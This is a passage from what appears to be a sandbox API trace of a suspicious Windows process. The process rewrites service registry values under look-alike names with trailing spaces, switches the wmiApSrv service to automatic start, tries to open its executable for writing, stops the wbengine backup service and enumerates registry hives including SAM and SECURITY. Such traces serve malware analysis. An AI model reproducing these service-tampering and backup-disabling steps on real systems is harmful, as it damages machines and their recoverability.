Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0239.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0239.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0239.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0239.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0239.167] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0239.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.167] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0239.167] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f42b0, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0239.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.167] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0239.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0239.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0239.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0239.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0239.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0239.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0239.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0239.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0239.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.168] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0239.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.168] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0239.168] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.168] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0239.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0239.168] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0239.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0239.168] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0239.169] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0239.169] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.169] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0239.169] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0239.169] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0239.169] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0239.169] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0239.169] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0239.169] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0239.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0239.169] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0239.170] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0239.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0239.170] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0239.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0239.170] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0239.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0239.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0239.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0239.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0239.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0239.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0239.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0239.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0239.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0239.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0239.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0239.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0239.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0239.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0239.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0239.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0239.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0239.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0239.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0239.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0239.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0239.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0239.171] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0239.171] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" [0239.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0239.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0239.171] LocalFree (hMem=0x7f03d0) returned 0x0 [0239.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0239.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0239.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cchWideChar=37, lpMultiByteStr=0x21f4778, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", lpUsedDefaultChar=0x0) returned 37 [0239.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0239.171] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0239.171] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x2) returned 0x8038a0 [0239.207] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0239.210] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0239.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0239.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0239.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0239.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0239.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0239.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.210] RegCloseKey (hKey=0x150) returned 0x0 [0239.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0239.210] RegCloseKey (hKey=0x14c) returned 0x0 [0239.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0239.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0239.210] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b7192e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x51b7192e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0239.211] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.212] GetLastError () returned 0x20 [0239.212] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0239.213] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0239.213] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0239.213] OpenServiceW (hSCManager=0x803918, lpServiceName="wbengine", dwDesiredAccess=0x20) returned 0x803990 [0239.213] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0239.214] GetLastError () returned 0x425 [0239.214] CloseServiceHandle (hSCObject=0x803990) returned 1 [0239.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0239.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0239.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0239.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0239.214] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0239.214] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0239.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0239.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.214] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.214] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0239.214] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0239.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.215] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0239.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0239.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.215] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0239.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0239.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.215] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0239.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0239.215] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.215] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.216] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0239.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", 